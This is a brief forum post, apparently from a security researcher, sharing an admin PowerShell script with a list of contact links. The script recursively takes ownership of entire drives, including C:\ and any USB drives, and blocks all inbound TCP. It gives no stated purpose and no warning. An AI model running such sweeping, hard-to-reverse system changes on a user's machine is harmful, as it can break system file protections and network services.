Enjoy This only works when ran as admin in PowerShell.
Code
# Run this script with elevated privileges (Run as Administrator)
# Specify the drives you want to change ownership for
$targetDrives = @("C:", "E:", "D:", "F:", "I:", "H:")
# Add connected USB drives if any
$usbDrives = Get-WmiObject Win32_DiskDrive | Where-Object { $_.InterfaceType -eq 'USB' } | ForEach-Object {
$_.Associators("Win32_DiskDriveToDiskPartition") | ForEach-Object {
$_.Associators("Win32_LogicalDiskToPartition") | ForEach-Object {
$_.DeviceID
}
}
}
$targetDrives += $usbDrives
# Loop through each specified drive and set the owner using takeown command
foreach ($driveLetter in $targetDrives) {
$drivePath = "$driveLetter\"
# Set the owner using takeown command
takeown /F $drivePath /R /A /D Y
}
Write-Host "Ownership changed for specified drives: $($targetDrives -join ', ')"
# Add the code to block all incoming TCP handshakes
New-NetFirewallRule -DisplayName "Block All Incoming TCP" -Direction Inbound -Protocol TCP -Action Block
Hackerone.com/DBMS
Bugcrowd.com/Sleep
[email protected]
Youtube.com/Stripped
Github.com/SleepTheGod
Contact : linkedin.com/in/clumsy/
Contact : T.me/SleepTheGod
Bugcrowd.com/Sleep
[email protected]
Youtube.com/Stripped
Github.com/SleepTheGod
Contact : linkedin.com/in/clumsy/
Contact : T.me/SleepTheGod



![[Image: UylCjc.png]](https://www.talkimg.com/images/2026/05/03/UylCjc.png)

